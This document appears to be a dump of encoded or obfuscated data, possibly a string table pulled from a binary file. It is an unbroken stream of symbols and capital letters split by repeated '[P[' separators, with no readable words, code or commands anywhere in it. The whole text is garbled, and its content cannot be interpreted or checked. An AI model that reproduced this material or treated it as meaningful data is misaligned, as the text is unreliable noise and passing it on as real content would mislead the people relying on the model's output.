&4Y72# '.'H[P[/#4Y[P[ BA#7 Y4 [#&A&[P[0[P[42Y-0AB/[P[  LL>^L^  [P[  LL>L^  [P[/#4YB A[P[=[P[72# YY 7AY# [P[#&Y00[P[72# YY 7AY# [P[# Y00[P[72# YY 7AY# [P[/#4Y4&A[UPT[0BA#4Y2# &[P[# 0-4[P[/[P[#&Y#[P[0A/# 7[P[24AY7A#7 [P[&A4&/44A[P[A4-0A4[P[  A/4-4&[P[3EB7 A4 A  A/4-4&[P[00Y#A4[P[&A7&[P[0A/# 7[P[  0AA4 &[P[#&Y#[P[#&Y#4[P[#4Y24AYB7 A4 A&[P[#&Y&A# 2[P[# 4BAY$[P[# 4BA[P[#&Y#[P[  L[P[00Y-424[P[A#-[P[  L[P[# 0-4[P[# 0-4[P[# 0-4[P[# 0-4[P[  /7-4[P[  0  333[P[  0  333  /7&A&[P[  0  333  /A-[P[  &  333[P[  &  &4&[P[  &  7B0  333[P[00Y #4[P[00Y#A4[P[#&Y400=4[P[-#B7A#-4[P[00Y-424[P[  3EB7 A4 A  -E2# &[P[  3EB7 A4 A  2# &[P[#&Y00[P[# &A04[P[&BY&40Y# A40[P[&40[P[&BY# 0#[P[&BY&40Y [P[ 7Y77A&[UPT[&BY&40Y [P[&BY&40Y# A40[P[#&Y#[P[#&Y#[P[#&Y3#A0=4[P[&A4 [P[0A/# 7[P[  3EB7 A4 A  2# &  [P[&40[P[&A4 [P[&BY&40Y# A40[P[  3EB7 #2_/[P[# 0-4[P[#&Y#4[P[  4# 4L&PLL&PZH@U\MYWKZH@UL&P6L&PZH@UZ1H@U>^ZH@U  [P[  A0=4Y4# [L&PL&PZH@UZ1H@U>^ZH@U  [P[42Y-0AB/[P[  1Z0EQE9EIYU>(  [P[3=[P[-4A/7Y4 [#&A&[P[  1Z0EQE9EIY(EU>(  [P[=Y 0-4Y44BA4[P[D_D[P[7A#7 &D[P[J]J'J]W"J
W[P[K+K"J'7A#7 Y04'	]
'[P['FK]K'7A#7 Y 0-4''[P[H0BA#4Y2# &H[P['+J'$'	
]'N\JK[P[]
++M"[P[]
++M"[P["
J[P[00Y04&[P[&4#0#Q4[P[N\JK'[P['KJ'7A#7 Y04''5&'FK]K'7A#7 Y 0-4''[P[0A4Y0#[P[0BA#0A4[P[#&Y7=4BA[P[]
++M"[P[3=[P[/BI:	S>9+JM#MWS /09M
 0A+A [VT $A	M#J	&2M7F$OO&M  [AOB"*JQB	Q9N9WWA2JJBQ/BV&  /M ["J=  */W+ [*7"&$4J:R>	WK &/	/K2]VNWR$ [4JR  NQ   [V&3Q*0B\A:OM3- [, [3,W9]*] ITR  V,FBK-FB  S=3W&J=-3,3F=,94B]/=A#\R    Q [9$I4F   \03N-*7-$7-	0,"O  V2MKN9IJ2,\,QA*:#+->BKJK>
4,-RR3
-WKV [2R  J>=#,,MJVOVF,= [ [O0:	T03]/7 [-Q0"IO Q+0TR$&-$$:>,$//M0N/,\$JO  TOR94   "OJ Q3"-/FJ4&N"0BA9R  F/ [S
9-/T	-+QO,TS]3QNI:Q\Q& OWS424+  "0
 [&#,TR\+SASM+
R=TMO4I>K=W>\\AN=2*#79S$0-*M ,/,\QV,Q#A"-$7#]T$$3">"
FN">I$>3,JMNF\">I*2R&=M>+>B2
#4N9J [J>R2 [TF]V&MM23>0N$-W\+NF\FF"\    A$#WB=-NS9  37FR+2&I&$A]V&NMK9>IJ":#NM [TK/:$"O 
]TR4
 +&#4 ,QKI7"JW>JQF/AW&:O	  O:9,F/&A [S]7IK  W-*  493 "T\O&	4F$&>TM
/:S   2,3T$$  =#O=N $"=0RWJWM [W3A=K0/2*242,=TN=- [TV#\= "3$	 [2NOV=IO
:F  B#:]&*I++$A  I:V4-WJ3,*	3]9 [T  SVS*O43J4
>9J3+2M\T	,"RO>3>  TO  V"-IVQRT>>\KM
Q02R-A-9  -F]OSBTV
K9RK,:	O/M
>A32/O&J*/0$MJ  9IN, T:"*FN3J3VT-O [B=\V3W [
W [, [A]#"7VJ97V>
VBVJ\KN [QJ2:-  0:/93KR*2B$IVV&RK+&OJ2&A,	KQ  ]QBB0T+24]	R [,7AV,J/V  ",WF7/
I]T	3\,$&3+7S#T&&:R [9R\
N# A>/:$  S+/I
T+=&&0I$3T-  &0NQNI&  VJBM]9  2,9O&I,+2J+&4N9>S/
BSJ [-TFK -*]O- [J"02	NOF$M,]T0SRF
9AK2:4>IT:K7+&/	-$0 [=TF4\MI0,#Q0N7=-S" =3  O  Q=:T=W27T*- [//-&,\2
0#-#J7T0$/K-Q&"N*0,$ ]90$/SN\4\	]  TK
J	\+0  *]-
O&&4N0*N [O [:>	3+3K"I:AV	07:K+O\O [RR30B:B  0 [ R:&QBM$:/&=+=2=	QOK	F>N/&	=	JWR0N/J	N&-F\2SS
,0/VQ:  
#*N
T&=A\	BOK,"9A [3T	#"=  V2/ [+\9JOQ:+>7\ABN,TJRW=>/OS="OO4W]KBN"RWA70&	Q [ [M\">,$0#4]A$M2VM4N3>  "7 [4-
7N/M,">*W9=V,2-7+B\W:03 JK
9  W	RAKBO	R>::W93S  /*V ,RT [&$2>/K0S/S3:/
2V$KI  $SM+#$VSKIR&&WA4R [M9Q+0 [40SJSTRF [>I/&TR:\TI	QN$K&JN7
2V7B]/$I ["/>A,K$JQ4OAN [*
0"+W [\SO/W-$=OMI *W  + [FQ  QBA2NB\"$>  VM3/M&3T  S:M 7>0A
I  ,
0]  M33A [TK#4*4T2R,- [B9	"+:9&>	KNIT>J [J/A=SVO
Q:77BF-"M09RM9S]#-4BWMJ0R
	I=]">SWT SR	N>*	
43/2R+V9V4*=\Q*MF2J-RSJF	
O4"V/N+N&,	7TO==N++ $93W*-\WR]0O$ITNO
  N:,/
2>*I2
"A+TNOWO* [NFI	M\Q [=  I/WJ 
0&4O B2   
	F=$*\0*F"O	N0/OW7IN-WBA$I-JO4N
9 \+3$	AI]J0KM  O2 F	Q-9*4WV74M3=> [O4/ JT7OJI,:
F/$/=]>9 3B/\T$K3F K$B9 [&NO-"W**$,44"9M  BMWJR>J:3KM>S>0&/KJJ
*T#->M  /7=+\V9J B&VAM*920  +/9-F7:>2JWO3W> 2FS:2 [BSW7+/N3[P[#&Y&A# 2[P[&A4 [P[=0&4 0-4[P[Q#[P[_Q#[P[# &A[P[B7 A4 AY[P[ BA#7 Y4 [#&A&[UPT[  3EB7 A4 A[P[&AY40B4[P[/AA8    [P[/AA&8    [P[?[P[/AA&8    [P[  ?[P[A#-[P[)1/AA&?8    )[P[&BY&3[P[&BY024[P[&BY024[P[&A4 [P[ 7[P[B7 A0BA&[P[B&[P[0-# M0&4[P[Q#[P[&2[P[# &A04[P[3#A44[P[3[P[024"74[P[&Y4[P[&A4 [P[=0&4:Y4 B74[P[0'YY"YM

JV
W_0&40A7=@[P[@^^C[P[0'YY"YKW"@[P[@C[P[&3YB7 #2[P[ 7[P[&3YB7 #2Y&#2[P[&AA7734[P[&3[P[&3[P[A#-[P[42Y40B4[P[)1/AA&?8    )[P[ 7[P[&A4 [P[#&Y#[P[#&Y3#A0=4[P[_/[P[# &AYA[P[3[P[&BY0&AY4AB/YA&[P[# &AYAY-#&&# 2[P[#4Y4 [#&A&[P[-R[UPT[&3Y# &A[P[&3[P[ BA#7 Y4 [#&A&[P[&A4 [P[&A4 [P[&A4 [P[&AY40B4[P[J
KWYN]K[P[24AYA0 &#4 A[P[&AY440A[P[&BY&3[P[&BY&3[P[&AA7734[P[#4Y4 [#&A&[P[&3Y&4A[P[/Y&0#Y 0-4[P[# &A[P[  _[P[&BY# #Y40[P[A#-[P[A#-[P[#4Y24AYB7 A4 A&[P[42Y40B4[P[  L ?0A7Y44 Y#4L&PL&PZ@HU?Z1@HLL UP[P[Z1@HLL UPZ@HU?L?L ?  #[P[_&BY[P[# #[P[ #YAY-#&&# 2[P[-R[P[#&Y&A# 2[P[42Y-0AB/[P[  0A7Y44 Y#4L&PL&PZ@HU?^Z1@HLL U>^L$  #[P[ 7 4[P[AX%# B4Y7 B4'[P[0Y4 [7A[P[C;B0AB/LJ/730=4'(4^X;B0AB/LK [B4A#7 '(4^X;'[P[(Y&B# 0-4YY	+KYY^_@  _[P[#%#&Y#4(Y&B^^X(Y&BB%#4Y24AYB7 A4 A&(Y&B^C##&Y&A# 2(Y&BB^^X[P[#&A4 (Y&BB^<$9:,R^(Y&BB42Y40B4H  L L  LPZ9EI0EUX$9996;LPL  ^>(  H6HH6(Y&BB^C[P[##&Y&A# 2(Y&BB^!!-R(Y&BB^H[P[H^XAX%# B4Y7 B4'(Y&BC;B0AB/LJ/730=4'(4^X;B0AB/LK [B4A#7 '(4^X;; &4A(Y&BB^C;; &4A(Y&B^C[P[# #Y30[P[#&Y#4[P[# #[P[&BY# #Y0#[P[B#B#AY74 [P[A#-[P[  L[P[#4Y24AYB7 A4 A&[P[40Y0#4[UPT[&=&A[P[0A7Y44 Y#4''@[P[&BY# #Y4 # 2[P[ 7[P[&BY# #Y0#[P[&BY# #Y0#[P[ 7[P[# #[P[7=4YR99[P[&BY# #Y0#[P[&BY# #Y40[P[ 7[P[# #[P["YJ
YN]KNKW\[P["YJYN]KN[P[# #Y24A[P[&4Y# #_B0B/4YAA[P[A#-4[P[ 7[P[7=4Y40[P[MNJ[P[/Y&0#Y 0-4[P[  _/A0BB4&&[P[
A#7 &'E 4 [4&[P[G	#4&0AB/'@L_Q#72&^(@<[P[G74'-7Y0A/QYB74_B<[P[]4#4'0'4 #4[P[G  74<[P[G74'.-7Y0A/QYB74_B<[P[\4 '7-'0[P[G  	#4&0AB/<[P[#4Y4 [#&A&[P[#4Y24AYB7 A4 A&[P[/A[P[40Y0#4[P[&A4 [P[=0&4 0-4[P[/A[P[/AYAY-#&&# 2[P[ BA#7 Y4 [#&A&[P[  L[P[#4Y24AYB7 A4 A&[P[  0A7Y44 Y#4L&P?8L&^L&PZ@HU?^Z1@HLL U>^L$  #[P[  1GL?/  [P[G?/'AX%# B4Y7 B4'[P[C;B0AB/LJ/730=4'(4^X;B0AB/LK [B4A#7 '(4^X;[P[#&Y&A# 2[P[B4Y0#[P[#4Y4 [#&A&[P[#&Y&A# 2[UPT[&BY/AY40[P[/AY704[P[#&Y#4[P[#4Y24AYB7 A4 A&[P[&BY/AY0#[P[/A[P[/Y04'0A7Y44 Y#4[P[ BA#7 Y4 [#&A&[P[74 [P[7B[P[#4-A#-4[P[#4Y4 [#&A&[P[#4Y24AYB7 A4 A&[P[ BA#7 Y4 [#&A&[P[#&Y#4[P[7B[P[/A[P['@[P['@[P[B7 A[P[&BY/AY40[P[A#-4[P[ 7[P[B#B#AY74 [P[/A[P[/A[P[MNJ[P[24AY7A#7 [P[7A[P[&A4 [P[\MY
J[P[\MYK][P[\MYNF
]\[P[\MYWK[P[-&#[P[\MYK][P[3Y[P[7A[P[-&#8'[P[&=&A[P[7B[P[  _3E7=4BAEB0B/4E[P[_0A[P["\$[P[=0&4:Y4B74[P[&A4 [P[#&Y00[P[ BA#7 Y4 [#&A&[P[2Q4B74[P[ BA#7 Y4 [#&A&[UPT[&A4 [P[#&Y&A# 2[P[&A4 [P[&=&A[P[  1GL?/L&P  [P[7BY-[P[  P'"Y
"YMKW8[P['P  [P[  P'"Y
"YKW\8[P[G?/'  P'_3E7=4BAEB0B/4E[P['P  '  P'"
"8[P[B0 0Y0-Y0#[P[&A7&[P["Y
"YMKW[P[&A7&[P[_3E7=4BAEB0B/4E[P[42Y-0AB/[P[  "
"8L>L_L>L_L>^  [P[7B[P[42Y40B4[P[  L ?L  LP'"Y
"YMKW8Z0EQE9EI_YUP8[P[^'LPL  _P?L  LP'"Y
"YKW\8L$'LPL  L ?  &[P[7B[P[7B[P[4# &YB0[P[7B[P[  P'_3E7=4BAEB0B/4E[P[7B[P[#4Y24AYB7 A4 A&[P[42Y-0AB/[P[  1"\$8L>L_L>L_L>^8  [P[&BY7BY0AY7[P[0AYB7A[P["\$8[P[-R[P[ 7[P[7B[P[A7[P[&/-7Y74 [P[ BA#7 Y4 [#&A&[P[A7[P[MNJ[P[&A4 [P[/0&/[P[&/0SR[P["$8[P[&/-7Y&#Q4[P[&/-7Y40[P[#&Y&A# 2[P[&/-7YB7&4[UPT[&/-7Y3#A4[P[&AY0[P[&/-7YB7&4[P[&/-7[P[4#Y0#[P[&/-7Y44A4[P[  GL?/  #[P[&=&A[P[#&Y&A# 2[P[  1L&P4B04L&PL_P?L^L&PC 0-4&0B4L&>Z1CXU>L&PC^  #&[P[&=&A[P[ BA#7 Y4 [#&A&[P[&BY4# &Y[P[4 [74[P[A#-4[P[A#-4[P[&BY4# &Y[P[7# [P[A2Y7Y30'[P[ BA#7 Y4 [#&A&[P[# A0[P[3=[P["Y\+Y[P[0YA[P[&BY0&AY4AB/YA&[P[0[P[0YAY-#&&# 2[P[#4Y24AYB7 A4 A&[P[#&Y&A# 2[P[0Y-[P[  P'"Y\YMKW8[P['P  [P[  P'"Y\YKW\8[P['P  [P[  L  LP'"Y\YMKW8Z0EQE9EI_YUP8[P[^'LPL  _P?L  LP'"Y\YKW\8L$'LPL    &[P["Y\Y+
\K\[P[&A7&[P[42Y40B4[P[  Z'LAUP#L&PLL&P4# 4L&PLL&PZ@HU"Y\Y+
\K\Z@HUL&PL^L&PL^L&P4A L&PCZ1LL UP  [P[B4Y0#[P[42Y40B4[P[0[P[0[P[MNJ[P[ BA#7 Y4 [#&A&[P[B#[P[&BY20[P[#&Y3#A0=4[P[3E# B4&[UPT[  _2Y[P[  _2 [Y[P[A#-4[P[  _2Y[P[3E# B4&  [P[3E# B4&[P[#&Y#4[P[#&Y#4[P[#4-A#-4[P[#&Y#4[P[#&Y#4[P[  _2Y[P[#4Y24AYB7 A4 A&[P[42Y-0AB/[P[  1L>L_L>L_L>(  [P[  _2&Y[P[#4Y24AYB7 A4 A&[P[4 [74[P[20[P[40Y&&4BA4[P[ 7Y&A0A&[P[#&Y3#A0=4[P[  2# &  [P[_/[P[0&4Y[P[JJNY
J[P[  2# &[P[=0&4:Y4 B74[P[=0&4:Y4 B74[P[20YAY-#&&# 2[P[20[P[20YAY# 0#[P[  _2-Y[P[&BY20[P[#&Y&A# 2[P[&=&AYB7 A[P[&=&AYB7 A[P[&A4 [P[&=&A[P[#&Y00[P[B/[P[#&Y44Y&0B4[P[FNY"
WJKWJY\][P[MNJ[P[ BA#7 Y4 [#&A&[P[&BY0Y7YA&[P[&BY0Y7YA&[P[-AY0 [P[?<[P[ BA#7 Y4 [#&A&[UPT[0 7-Y=A4&[P[=# S/4 [[P[&A4 [P[-R[P[P  [P[#&Y&A# 2[P[  L?L L  LPZ9EI0EUX$9996;LPL  ^>(  [P[ BA#7 Y4 [#&A&[P[ BA#7 Y4 [#&A&[P[&BY73 Y-[P[&BY73 Y-0 #4&A[P[#&Y00[P[&BY73 Y-[P[&A4 [P[-R[P[A#-4[P[#&Y00[P[ 7[P[&BY73 Y-[P[&BY73 Y-[P[&BY73 Y-[P[-7##4[P[#4Y24AYB7 A4 A&[P[&A4 [P[-R[P[#4&#Q4[P[#4Y24AYB7 A4 A&[P[&A4 [P[420B[P[&A4 [P[  73 Y[P[73 [P[&BY73 Y4B[P[&=&A[P[#&Y00[P[4[P[4[P[7[P[&A0A4[P[=77AYA&[P[24 [P[0A/[P[&A0AYA&[P[=77AYA&[P[]K*KJYJK[P[ BA#7 Y4 [#&A&[P[&BY73 Y4B[P[#4YAYB7 A4 A&[P[G?/[P[0A/[UPT[#&Y&A# 2[P[#4&#Q4[P[40[P[=77AYA&[P[=77AYA&[P[7[P[  73 [P[#&Y#4[P[#4Y24AYB7 A4 A&[P[42Y-0AB/[P[  L  LPZ9EI0EUX$9996;LPL  ^L&P(  [P[=0&4 0-4[P[#&Y#4[P[A#-[P[#4Y24AYB7 A4 A&[P[ BA#7 Y4 [#&A&[P[24AY7A#7 [P[ BA#7 Y4 [#&A&[P[0A4Y7A#7 [P[&BY444Y4[P[00Y&#B4[P[&BY444Y4[P[24AY7A#7 [P[ BA#7 Y4 [#&A&[P[&BY444Y4[P[#&Y#4[P[7B0B/4Y# 0#0A4[P[#&Y#4[P[#4[P[400A/[P[400A/[P[MNJ[P[#4Y24AYB7 A4 A&[P[#&Y#4[P[_2[P[#4Y24AYB7 A4 A&[P[B7[P[42Y-0AB/Y0[P[  =0&4:Y4B74LL&PHZE0EQ9EI>L  UX$9996;^HL&PL^  [P[42Y-0AB/Y0[P[  ?82Q4B742Q# 0A42Q B7-4&&^LL&P@?8Z1@LLUP?8LL_Z1@LLUP^P^^@  &[P[L [[P[  LL [Z9EI0EE	UXS;^  [P[# [ Y/34R3$$Y,,79/[P[  ?82Q4B742Q# 0A42Q B7-4&&^LL&PH?8Z1HLLUP?8LL_Z1HLLUP^P^^H  &[P[LL[P[LH[P[#&Y&A# 2[P[2Q[P[# [ Y/34R3$$Y,,79/[UPT[LL[P[&A7&[P[# [ Y/34R3$$Y,,79/[P[#&Y&A# 2[P[42Y-0AB/[P[  L  LP'"8L>L_L>L_L>^'LPL    [P[&A4 [P['P  [P[&=&A[P[&=&A[P[  1Z0EQE9EI_Y8U>(  [P[  P'[P[YKW\8[P['P  [P[&A7&[P[&=&A[P[&A4 [P[MNJ[P[A/Y-[P[  L  LP'"YJYMKW8Z0EQE9EI_YUP8[P['LPL    [P[#&Y&A# 2[P["YJ[P[7= [92&R2,R [[P["Y\\[P[ [,:/#4-4[P[  L  L  "YJY+\YZ0E9EIYU>L?L Z1L UP(  [P[#&Y&A# 2[P[QA#&S Y##[P["Y\\[P[  L  L  "YJY+\YZ0E9EIYU>L?L Z1L UP(  [P[MNJ[P[42Y-0AB/Y0[P[  L  LP'"YJYMKW8Z0EQE9EI_Y8U>^'LPL    [P[&=&A[P[-R[P[[P[42Y-0AB/Y0[P[  L  LP'"Y\\YMKW8Z0EQE9EI_Y8U>^'LPL    [P[&BYB[P[24AY7A#7 [P[&BYB0 0[P[#&Y00[P[#A4-&[P[#&Y00[P[/0&/Y40&[P[42#&A4Y&/A73 Y BA#7 [P[EE<[P[ BA#7 Y4 [#&A&[P[&BY=Y-74[UPT[&A7&[P[=# [P[#&Y00[P[A&[P[A&[P[A#4&[P[A&[P[#A4-&[P[B0 0[P[=0Y3#A4Y0#[P[  A/=Y[P[_=0[P[#A4-&[P[A&[P[A&[P[#A4-&[P[B/$:QY#A7Q-7B-[P[3Y4-7A4Y24A[P["0B/4E"7 A7[P[ 7E&A746' 7EB0B/4[P[N02-0[P[3Y4-7A4Y4A#44Y4&7 &4YB74[P[3Y4-7A4Y4A#44Y=7[P[7B0B/4Y# 0#0A4[P[ BA#7 Y4 [#&A&[P[&BYB0 0[P[#A4&44Y# #&/Y44&A[P[ BA#7 Y4 [#&A&[P[#2 74Y&4Y0=7A[P[ BA#7 Y4 [#&A&[P[#&Y00[P[ 4##4Y44'[P[?&BYB[P[034 B74[P[!Y[P[#A4-&[P[7=0BYR99'[P[=0&4 0-4[P[&A7&[P[G.EE"8[P[&BYB[P[7=0BY72# R99'[P[=0&4 0-4[P[#A4-&[P[EE<[P[#A4-&[P[#A4-&[P[A#4&[P[=# [P[=Y=# [UPT[#A4-&[P[&BY=Y-74[P[#&Y&A# 2[P[7[P[7[P[#A4-&[P[Y&BY0-[P["YJYMKW[P[&A7&[P[_&Y[P["8[P[  "Y?8\M\
"^YMKW8L>L_L>L_L>^  [P[&344[P[ 4A0#Q4Y74#2 Y&#'[P[#4YAYB7 A4 A&[P[ BA#7 Y4 [#&A&[P[#4Y24AYB7 A4 A&[P[&A4 [P[  Z'LAUPL  LP'"Y\M\
"^YMKW8Z0EQE9EI_Y8U>^'LPL  _P?L  LP'"YL$YKW\8LS'LPL  Z'LAUPL?L ?  &[P[#&Y&A# 2[P[&B[P[4 0-4[P[#&Y&A# 2[P[42Y-0AB/[P[  #&Y#4LL&PHZ1HU>^HL&PL^  [P[#&Y#4[P[&AY40B4[P[A#-[P[FNY"
WJKWJY\][P[  L[P[&A7&[P[=0&4 0-4[P[&344[P[=Y74#2 Y&#'[P[#&Y00[P[-7B4E[P[3EB7 #2_/[P[# 0-4[P[#&Y#4[P[#&Y#4[P[#&Y3#A0=4[P[#4Y24AYB7 A4 A&[P[FNY"74Y A42#A[P[  A-  /[P[&A7&[P[FNYJKNY\][P[&BYA-Y# [4[P[ BA#7 Y4 [#&A&[P[  4# 4L&PLL&PZH@UFNY""KZH@U  [P[FNY"
WJKWJY\][UPT[  00 B4EB0B/4_/[P[#4Y24AYB7 A4 A&[P[&A7&[P["Y\YMKW8[P[&A7&[P[  4# 4L&PLL&PZH@UMNJZH@UZ1L UPL 4# 4L'HFNY""KH6'A4'L^CL   [P[42Y-0AB/[P[  4# 4L&PLL&PZH@UFNY\KMZH@UL&P6L&PA4L&PL^  #[P[  4# 4L&PLL&PZH@UFNY\KMY+
ZH@UL&P6L&PA4L&PL^  #[P[  4# 4L&PLL&PZH@UFNY\KMY\N+TZH@UL&P6L&P0&4L&PL^  #[P[42Y-0AB/Y0[P[  Z'LAUPL  LP'FNY"74Y A42#A'Z0E9EIU>^'LPL  _P?L  LP'K EFNY"74Y A42#A'L$'LPL  Z'LAUPL?L ?  &[P[  Z'LAUPL  LP'FNY"74Y A42#A'Z0E9EIU>^'LPL  _P?L  LP'K EFNY"74Y A42#A'L$'LPL  Z'LAUPL?L ?  &[P[  1Z'LAUP#L&PLL&P.?L&P#4Y4 [#&A&LL&PHL  A-L  /ZE0EQ9EIU>HZ1L UPL Z'LAUP#L&PLL&PL(Y7!!Z1L UPL ^?  -[P[#-74[P[42Y40B4[P[  1Z'LAUP#L&PLL&P.?L&P#4Y4 [#&A&LL&PHL  A-L  /ZE0EQ9EIU>HZ1L UPL Z'LAUP#L&PLL&PL(Y7!!Z1L UPL ^?  -[P[#&Y&A# 2[P[  4# 4L&PLL&PZH@UMNJZH@UZ1L UPL   [P[  4# 4L&PLL&PZH@UMNJZH@UZ1L UPL ^  [P[($[P[42Y-0AB/[P[  4# 4L&PLL&PZH@UMNJZH@UZ1L UPL ^  [P[#&Y&A# 2[P[  4# 4L&PLL&PZH@UMNJZH@UZ1L UPL ^4# 4L'HFNY""KH6'A4'L^CL   [P[#&Y&A# 2[P[42Y40B4[P[  1Z'LAUP4# 4L&PLL&PZH@UFNY\KMY+
Y\N+T^?ZH@UL&P6Z1L UPL   #-[P[#&Y&A# 2[P[#&Y&A# 2[P[3B[P[42Y40B4[P[  4# 4L&PLL&PZH@UMNJZH@UZ1L UPL ^4# 4L'HFNY""KH6'A4'L^C'L  LP'"YF"'LPL  L   [P[($[P[A4- 0-[P[&B3[P[4 0-4[P[  HL  A-L  /ZE0EQ9EIU>^H  [P[&A7&[P[  A-  /[P[  7A#7 Y 0-4L&PL&PHZ1HU>^H  [P[  1Y&#A4YA0 &#4 AY/40A/44^YZ0E9EIU>(  [P[FNYN+WY\][P[27=[P[  P_/[P[&=&A[P[B74[P[_/[P[#&Y&A# 2[P[74#2 Y&#'[UPT[=0&4 0-4[P[_7[P[ BA#7 Y4 [#&A&[P[# 0-4[P[# 0-4[P[=0&4 0-4[P[27=[P[  P   BA#7 &_/[P[#4&#Q4[P[#&Y&A# 2[P["Y\\YMKW[P["YJY+\Y[P[#&Y&A# 2[P[  00 B4EB0B/4_/[P[44A4Y7A#7 [P[ BA#7 Y4 [#&A&[P[=I3S7 [22-- [$R7[P[#&Y&A# 2[P[#&Y&A# 2[P[0S#I#2,7S3=[P[ BA#7 Y4 [#&A&[P[B77:-94O9R[P[,/0#4YSQ3I272#34[P[&B[P[&BY=77AYA[P[=77A[P[420BYA0474[P[&BY4&#&A4[P[24AY7A#7 [P[A&[P[#A4-&[P[#&Y00[P[42#&A4Y&/A73 Y BA#7 [P[B/$:QY#A7Q-7B-[P[#&Y#4[P[/A[P[_/[P[# 48[P[# 48[P[# #Y24A[P[&4Y# #_#4 0-4[P[_/[P[  L[P[# 48[P[# 48[P[_3E7=4BAEB0B/4E[P[&BY4&#&AY-0 #4&A[P[&A0A[P[&#Q4[P[-A#-4[UPT[  LL>^(  [P[&=&A[P[&A4 [P[&=&A[P[&A4 [P[#&Y#4[P[0BA#4Y2# &[P[&BYB/0# [P[  =_/[P[   BA#7 &_/[P[[P[A#-4[P[&=&A[P[9[P[A#-4[P[&BY4&#&AY-0 #4&A[P[ 7[P[4&#&A[P[&#Q4[P[&#Q4[P[=#28[P[ BA#7 Y4 [#&A&[P[_/[P[[P[_/[P[  =_/[P["Y\M[P[YKW\8L$'LPL    &[P[#4Y24AYB7 A4 A&[P[42Y-0AB/[P[  "
"8L>L_L>L_L>  [P[&=&A[P[  L ?L  LP'"Y
"YMKW8Z0EQE9EI_Y8U>^'LPL  _P?L  LP'"Y
"YKW\8L$'LPL  L ?  &[P[FNY"
WJKWJY\][P[_2[P[  70&  P  P  [P[  A/4-4&  P  [P[27=[P[27=[P[P_/[P[P_/[P[# 0[P[ BA#7 Y4 [#&A&[P[27=[P[_2&Y[P[_2Y[P[_2Y[P[_2AY[P[_2-Y[P[_2Y[UPT[_2&Y[P[_2Y[P[  _2YP_/[P[#&Y#4[P[&A7&[P[42Y40B4[P[42Y40B4[P[42Y7A4[P[Z1L UPL ?  #[P[3EB7 #2_/[P[  3EB7 #2_/[P[#&Y3#A0=4[P[#4Y24AYB7 A4 A&[P[  Z'LAUP4# 4L&PLL&PZH@UFNY""KZH@UL&P6L&PA4L&PL^L&PCL&PL  LP'"YF"'LPL  Z'LAUPL?L ?  [P[A7B/[P[_&4_# #[P[#4Y24AYB7 A4 A&[P[  0A7Y44 Y#4L&P_P[P[42Y7A4[P[_PL   #[P[#&Y&A# 2[P[00Y#[P[G?/'[P[#&Y#4[P["YJ[P[QA#&S Y##[P["Y\\[P[ BA#7 Y4 [#&A&[P[&/-7Y74 [P[ BA#7 Y4 [#&A&[P[&BYB0 0[P[#A4-&[P[#&Y00[P[&BY/AY0#[P[&BY# #Y40[P[44A4YA0 &#4 A[P[ BA#7 Y4 [#&A&[P[ [I:& [BO-Y3SRBO[P[&BYB7 Y20[P[# 0#0A4[P[_/[P[#4Y24AYB7 A4 A&[P[=Y-[P[  P'"Y\MYMKW8[P['P  [P[  P'"Y\MYKW\8[P[=Y-[P[  L  LP'"Y\MYMKW8Z0EQE9EI_YUP8[P[^'LPL  _P?L  LP'"Y\MYKW\8L$'LPL    &[P[&A7&[UPT["Y\MY+
\K\[P[  Z'LAUP#L&PLL&P4# 4L&PLL&PZ@HU"Y\MY+
\K\Z@HUL&PL^L&PL^L&P4A L&PCZ1LL UP  [P[#&Y&A# 2[P["Y\M+Y[P[=[P[=YAY-#&&# 2[P[4# &YB0[P[B0 0Y0-Y0#[P[24AY7A#7 [P[FNY"
WJKWJY\][P[  A/4-4&  [P[   BA#7 &_/[P[ BA#7 Y4 [#&A&[P[24AY7A#7 [P[  A/Y[P[_=0[P[#&Y#4[P[0 #&/Y4&A74[P[&BYA/Y40[P[ 7[P[MNJ[P[  P'"YJYMKW8[P[  P'"YJYKW\8[P["YJ+Y[P[&=&A[P[-R[P[=0&4 0-4[P[A/4-4YAY-#&&# 2[P[42Y40B4[P[74 [P[A/4-4[P[ BA#7 Y4 [#&A&[P[7B[P[&A4 [P[&A7&[P[#&Y3#A0=4[P["YJ[P[###/SS7AS [9[P[B4Y0#[P[&A7&[P["YJYMKW[P[&A7&[P[7/0 [P[#&Y&A# 2[P[#4Y24AYB7 A4 A&[P[G?[P[A#-[P[?<[P[A/4-4[P[&A4 [UPT[&BY4-A[P[B0&&Y4 [#&A&[P[#B/#4[P[  70&  [P[0A4[P[T  -  [P[#B/#4[P[#B/#4[P[ BA#7 Y4 [#&A&[P[3Y&B/44Y44 A[P[ BA#7 Y4 [#&A&[P[3Y 4 [AY&B/44[P[/7[P[B7 Y&4A[P[R4SI94&&-2[P[A#-4[P[  _2 [Y[P[#4-A#-4[P[A#-4[P[#&Y#4[P[#4&#Q4[P[  _2-Y[P[-RY#4[P[B7 Y20[P[=0&4 0-4[P[#4Y24AYB7 A4 A&[P[=3Y2& &&#2/27[P[ BA#7 Y4 [#&A&[P[#&Y#4[P[42Y-0AB/[P[24AY7A#7 [P[ BA#7 Y4 [#&A&[P[0BA#4Y2# &[P[-R[P[B7 Y4B[P[#&Y#4[P[#4&#Q4[P[JJN  $_$':9:'W7A'	7 [P[&3[P[ BA#7 Y4 [#&A&[P[&BY&3Y4Y/#A&[P[&BY&3Y4Y/#A&[P[&BY&3Y4Y0&A[P[A#-4[P[  1L&P?8LL  LPL  L  0'4A'B7 &A' BA#7 '&4L_^  [P[  1ZE0EQ9EI>L  LL U>(  [P[=0&4:Y4B74[P[7=Y24AY44[P["7 A4 AEJ48'0#B0A#7   00&B#A[P[4#B4EF74E7348'  [UPT[JJN  $_$'S9:'W7'"7 A4 A[P[JJNY	YW
WKYJ"[P[A#-[P[JJNY	YW
